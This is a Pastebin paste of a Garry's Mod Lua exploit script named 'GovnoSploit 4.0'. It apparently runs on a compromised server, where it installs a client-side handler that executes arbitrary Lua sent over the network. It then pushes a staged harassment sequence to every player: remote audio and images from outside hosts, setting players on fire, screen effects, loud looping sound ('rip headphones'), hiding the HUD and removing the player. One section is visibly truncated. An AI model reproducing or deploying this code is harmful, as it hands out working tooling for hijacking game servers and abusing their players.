SHARE
TWEET

Untitled

a guest Jan 24th, 2020 66 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. --[[
  2.     File: ?.lua
  3.     For: GovnoSploit 4.0
  4.     By: bitcoin
  5. ]]--
  6.  
  7. util.AddNetworkString "slua"
  8.  
  9. local lol = {}
  10. function lol:RandomString( intMin, intMax )
  11.     local ret = ""
  12.     for _ = 1, math.random( intMin, intMax ) do
  13.         ret = ret.. string.char( math.random(65, 90) )
  14.     end
  15.  
  16.     return ret
  17. end
  18.  
  19. lol.m_tblActions = {}
  20. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  21. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  22.  
  23. function lol:PushAction( intChainDelay, func )
  24.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  25. end
  26.  
  27. function lol:NextAction( pPlayer )
  28.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  29.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  30.  
  31.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  32.         if not IsValid( pPlayer ) then return end
  33.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  34.         self:NextAction( pPlayer )
  35.     end )
  36. end
  37.  
  38. function lol:Start( pPlayer )
  39.     pPlayer.m_intCurAction = 0
  40.     self:NextAction( pPlayer )
  41. end
  42.  
  43. function lol:SendLua( pPlayer, strLua )
  44.     net.Start( "slua" )
  45.         net.WriteString( strLua )
  46.     net.Send( pPlayer )
  47. end
  48.  
  49. function lol:SetupPlayer( pPlayer )
  50.     pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  51. end
  52.  
  53. for k, v in pairs( player.GetAll() ) do
  54.     lol:SetupPlayer( v )
  55.     timer.Simple( 2, function() lol:Start( v ) end )
  56. end
  57.  
  58. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  59.     lol:SetupPlayer( pPlayer )
  60.     timer.Simple( 10, function() lol:Start( pPlayer ) end )
  61. end )
  62.  
  63. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  64.     if strText:sub( 1, 5 ) == "/1337" then
  65.         pSender:Ignite( 1e9 )
  66.         pSender:ChatPrint( "lol jk" )
  67.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  68.         return false
  69.     end
  70. end )
  71.  
  72.  
  73.  
  74. --Sequence stack
  75. --Start some tunes and steam in our assets
  76. lol:PushAction( 0, function( pPlayer )
  77.     lol:SendLua( pPlayer, ([=[
  78.         sound.PlayURL( "http://d.zaix.ru/gEsV.mp3", "", function()end )
  79.        
  80.         g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  81.         local html = [[%s]]
  82.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  83.             local pnl = vgui.Create( "HTML" )
  84.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  85.             pnl:SetVisible( true )
  86.             pnl:SetMouseInputEnabled( false )
  87.             pnl:SetKeyBoardInputEnabled( false )
  88.             pnl:SetSize( intSizeX, intSizeY )
  89.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  90.            
  91.             local PageLoaded
  92.             PageLoaded = function()
  93.                 local mat = pnl:GetHTMLMaterial()
  94.                 if mat then
  95.                     g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  96.                     return
  97.                 end
  98.                
  99.                 timer.Simple( 0.5, PageLoaded )
  100.             end
  101.  
  102.             PageLoaded()
  103.         end
  104.  
  105.         LoadWebMaterial( "http://d.zaix.ru/gikZ.png", "hud1", 300, 128 )
  106.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/xhair.png", "xhair", 64, 64 )
  107.         LoadWebMaterial( "http://d.zaix.ru/gXKj.png", "doritos", 183, 256 )
  108.         LoadWebMaterial( "http://d.zaix.ru/gXKj.png", "fedora", 183, 256 )
  109.         LoadWebMaterial( "http://d.zaix.ru/gXKj.png", "dew", 183, 256 )
  110.         LoadWebMaterial( "http://d.zaix.ru/gXKj.png", "awp", 183, 256 )
  111.     ]=]):format(lol.m_strImageLoadHTML) )
  112. end )
  113.  
  114. --HUD swap
  115.  
  116.             draw.SimpleTextOutlined(
  117.                 "Хакид бай GOVNOSPLOIT 4.0",
  118.                 "DermaLarge",
  119.                 ScrW() /2 +math.random( -8, 8 ),
  120.                 ScrH() /2 +math.random( -8, 8 ) +64,
  121.                 Color( 255, 0, 0, 255 ),
  122.                 TEXT_ALIGN_CENTER,
  123.                 TEXT_ALIGN_CENTER,
  124.                 1,
  125.                 Color( 0, 0, 255, 255 )
  126.             )
  127.         end )
  128.  
  129.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  130.         hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  131.  
  132.         surface.PlaySound( "garrysmod/save_load4.wav" )
  133.         surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  134.     ]] )
  135. end )
  136.  
  137. --Disco time
  138. lol:PushAction( 10, function( pPlayer )
  139.     local idx = pPlayer:EntIndex()
  140.     timer.Create( "beat".. idx, 0.42, 0, function()
  141.         if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  142.         pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  143.     end )
  144.  
  145.  
  146.     lol:SendLua( pPlayer, [[
  147.         local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  148.         local time = 0
  149.  
  150.         hook.Add( "Think", "wat", function()
  151.             if CurTime() < time then
  152.                 return
  153.             end
  154.  
  155.             time = CurTime() +0.05
  156.             for i = 1, 16 do
  157.                 local part = emitter:Add(
  158.                     "particles/balloon_bit",
  159.                     LocalPlayer():GetPos() +Vector(
  160.                         math.random( -256, 256 ),
  161.                         math.random( -256, 256 ),
  162.                         256
  163.                     )
  164.                 )
  165.                
  166.                 if part then
  167.                     local Size = math.random( 4, 7 )
  168.                    
  169.                     part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  170.                     part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  171.                     part:SetDieTime( 4.5 )
  172.                     part:SetGravity( Vector(40, 0, -250) )
  173.                     part:SetLifeTime( 0 )
  174.                     part:SetStartSize( Size /2 )
  175.                     part:SetEndSize( Size )
  176.                     part:SetCollide( true )
  177.                 end
  178.             end
  179.         end )
  180.     ]] )
  181.  
  182.     lol:SendLua( pPlayer, [[
  183.         hook.Add( "RenderScreenspaceEffects", "wat", function()
  184.             local sinScaler = math.sin( CurTime() )
  185.             DrawBloom(
  186.                 0,
  187.                 3,
  188.                 sinScaler *math.Rand(1, 8),
  189.                 sinScaler *math.Rand(1, 8),
  190.                 6,
  191.                 math.Rand(0.5, 2),
  192.                 math.Rand(0, 0.3),
  193.                 math.Rand(0, 0.3),
  194.                 math.Rand(0.5, 1)
  195.             )
  196.  
  197.             DrawColorModify{
  198.                 ["$pp_colour_addr"] = 0,
  199.                 ["$pp_colour_addg"] = 0,
  200.                 ["$pp_colour_addb"] = 00,
  201.                 ["$pp_colour_brightness" ] = 0,
  202.                 ["$pp_colour_contrast" ] = 1,
  203.                 ["$pp_colour_colour" ] = 1,
  204.                 ["$pp_colour_mulr" ] = 0,
  205.                 ["$pp_colour_mulg" ] = 0,
  206.                 ["$pp_colour_mulb" ] = 1
  207.             }
  208.         end )
  209.  
  210.         local mdl = ClientsideModel( "models/player/skeletons.mdl", RENDERGROUP_BOTH )
  211.         mdl:SetNoDraw( true )
  212.         local posCache, time = {}, 0
  213.  
  214.         hook.Add( "HUDPaint", "dance", function()
  215.             if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  216.                 local idx = mdl:LookupSequence("taunt_dance")
  217.                 mdl.SeqDuration = mdl:SequenceDuration( idx )
  218.                 mdl.SeqStart = CurTime()
  219.                 mdl:ResetSequence( idx )
  220.             end
  221.  
  222.             mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  223.  
  224.            
  225.             local w, h = 300, 300
  226.             local ang = Angle( 0, 0, 0 )
  227.  
  228.             for i = 1, 32 do
  229.                 if CurTime() > time then
  230.                     posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  231.                 end
  232.                 local x, y = posCache[i][1], posCache[i][2]
  233.  
  234.                 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  235.                     cam.IgnoreZ( true )
  236.                     render.SuppressEngineLighting( true )
  237.                    
  238.                     render.SetLightingOrigin( mdl:GetPos() )
  239.                     render.ResetModelLighting( 1, 1, 1 )
  240.                     render.SetColorModulation( 0, 0, 1 )
  241.  
  242.                     mdl:DrawModel()
  243.                    
  244.                     render.SuppressEngineLighting( false )
  245.                     cam.IgnoreZ( false )
  246.                 cam.End3D()
  247.             end
  248.  
  249.             if CurTime() > time then
  250.                 time = CurTime() +0.15
  251.             end
  252.         end )
  253.  
  254.         surface.PlaySound( "vo/npc/male01/ohno.wav" )
  255.     ]] )
  256. end )
  257.  
  258. --Let the beat drop
  259. lol:PushAction( 54, function( pPlayer )
  260.     lol:SendLua( pPlayer, [[
  261.         hook.Add( "GetMotionBlurValues", "wat", function()
  262.             return 0, 0, 1, math.sin(CurTime() *13)
  263.         end )
  264.  
  265.         hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  266.             local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  267.             DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  268.             DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  269.         end )
  270.  
  271.         hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  272.             render.SetMaterial( Material("cable/blue_elec") )
  273.             for i = 1, 32 do
  274.                 render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  275.             end
  276.         end )
  277.  
  278.         timer.Create( "thedrop", 0.42, 0, function()
  279.             util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  280.         end )
  281.     ]] )
  282. end )
  283.  
  284. --EVIL TIME rip headpones
  285. lol:PushAction( 175, function( pPlayer )
  286.     lol:SendLua( pPlayer, [[
  287.         surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  288.  
  289.         local sounds = {}
  290.         for i = 1, 4 do
  291.             sound.PlayURL( "", "noblock noplay", function( pChan )
  292.                 sounds[#sounds +1] = pChan
  293.             end )
  294.         end
  295.  
  296.         timer.Create( "asdf", 1, 0, function()
  297.             if #sounds ~= 4 then return end
  298.             timer.Destroy( "asdf" )
  299.             for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  300.         end )
  301.  
  302.         hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  303.     ]] )
  304.  
  305.     pPlayer:Remove()
  306. end )
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top